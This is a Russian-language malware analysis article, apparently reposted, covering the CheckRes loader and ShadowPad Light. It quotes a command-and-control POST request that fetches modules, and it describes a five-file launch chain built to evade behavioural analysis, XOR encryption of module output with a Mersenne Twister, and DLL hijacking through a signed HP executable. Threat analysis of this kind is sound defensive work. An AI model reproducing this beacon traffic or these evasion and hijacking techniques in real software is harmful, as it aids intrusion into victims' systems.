![](/uploads/posts/2022-08/image2.png)
Содержание статьи
CheckRes
Загрузка
Для запуска основной нагрузки этот вредонос использует пять файлов, которые последовательно запускают друг друга. Как это работает, видно на рисунке ниже. Основная нагрузка запускается файлом cmd
, который появляется в системе в самом начале работы вредоноса. Но при этом сам файл cmd
запускается еще не существующим в системе скриптом на VBS. Такой комплексный подход к запуску основной нагрузки, вероятно, нужен для того, чтобы обойти поведенческий анализ.
![Схема загрузки CheckRes Схема загрузки CheckRes](/uploads/posts/2022-08/image1.png)
Модули
В начале работы полезной нагрузки с удаленного сервера загружаются модули.
POST-запрос для получения модуля
POST /cgi-bin/pcupd.cgi/http/param_id.000 HTTP/1.0
Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/vnd.ms-excel,application/msword,application/vnd.ms-powerpoint, */*
Accept-Language:de-at
User-Agent:Mozilla/4.0 (compatible;MSIE 6.0;Windows NT 5.0)
Host: <IP>
Content-Type:application/x-www-form-urlencoded
Content-Length:31
Connection:Keep-Alive
lab=3999/06171252&size=1&data=F
С сервера может быть выгружено до 16 модулей.
![Загрузка модулей CheckRes Загрузка модулей CheckRes](/uploads/posts/2022-08/image2.png)
Модули приходят в теле HTTP-запроса. Они запакованы, закодированы Base64 и окружены тегом <
.
Модули представляют собой DLL-файлы, где заголовок‑заглушка MS-DOS заполнен нулями (видно на скриншоте ниже). При загрузке с C&C парсится таблица импортов и релокации. После этого для запуска модуля вызывается entrypoint DLL-файла, где происходит создание потока. Создание потока необходимо, если требуется продолжительная работа модуля, поскольку исполняемый файл работает в одном потоке.
![Заголовок модуля CheckRes Заголовок модуля CheckRes](/uploads/posts/2022-08/image3.png)
Каждый модуль выводит информацию о своей работе в файл, который расположен по следующему пути:
%allusersprofile%\{F3F85CAE-3398-45f6-98C2-7DBFD3F3042C}
Файл вывода каждого модуля имеет свое расширение (например, .cap, .kst, .rdd). Содержимое файла зашифровано при помощи операции XOR с генератором псевдослучайных чисел «Вихрь Мерсенна».
Вихрь Мерсенна
Модули для шифрования выходных данных используют некриптографический генератор псевдослучайных чисел «Вихрь Мерсенна» с изначальным значением (seed) 11. Все параметры соответствуют стандартному алгоритму для генерации 32-битных значений. В каждом модуле есть несколько характерных особенностей, связанных с реализацией алгоритма. Во‑первых, это изначальная инициализация массива, которая повторяется два раза: при первом заполнении значение seed устанавливается равным 5489. Затем, никак не влияя на предыдущее заполнение, массив заполняется повторно со значением seed, равным 11.
![Двукратная инициализация массива Двукратная инициализация массива](/uploads/posts/2022-08/image4.png)
Есть еще одна особенность: используется массив, равный двум порядкам рекуррентной последовательности, а именно 1248. Таким образом, изначально инициализируется первая половина массива, после чего согласно алгоритму на основе первой части генерируется вторая половина массива. При использовании всех 624 сгенерированных элементов второй половины первая затирается. А на основе второй половины по рекуррентному соотношению заполняется уже первая.
В итоге одна половина массива всегда содержит данные для генерации другой части. Можно было бы предположить, что это сделано, чтобы упростить реализацию: использование одного цикла для заполнения массива уже псевдослучайными числами вместо двух. Но при заполнении первой части все же приходится делить алгоритм заполнения массива на два цикла, как это реализовано здесь.
И последняя особенность касается «закалки» псевдослучайного числа. В изначальном алгоритме предполагается сначала битовый сдвиг на константу, а затем производится побитовое логическое И. Здесь же порядок изменен, что повлияло на константы, используемые для этой операции. Так, константа 0xefc60000
здесь представлена в виде значения 0xFFFFDF8C.
![Закаливание псевдослучайного числа Закаливание псевдослучайного числа](/uploads/posts/2022-08/image5.png)
ShadowPad Light 2021
ShadowPad Light — облегченная версия оригинального ShadowPad без обфускации кода. Несмотря на то что этот семпл очень похож на оригинальный ShadowPad, у него есть свои особенности.
Загрузка
ShadowPad Light поставляется тремя файлами:
hpdigital.
— легитимный исполняемый файл, имеющий подпись компании HP;exe hpqhvsei.
— вредоносная библиотека, загружается посредством техники DLL hijacking;dll hpqlpvdt.
— шифрованная нагрузка, которая содержит распаковщик и полезную вредоносную нагрузку, также хранит в себе первоначальный необходимый для работы набор модулей.tmp
Скачать:
Скриншоты:
Важно:
Все статьи и материал на сайте размещаются из свободных источников. Приносим свои глубочайшие извинения, если Ваша статья или материал была опубликована без Вашего на то согласия.
Напишите нам, и мы в срочном порядке примем меры.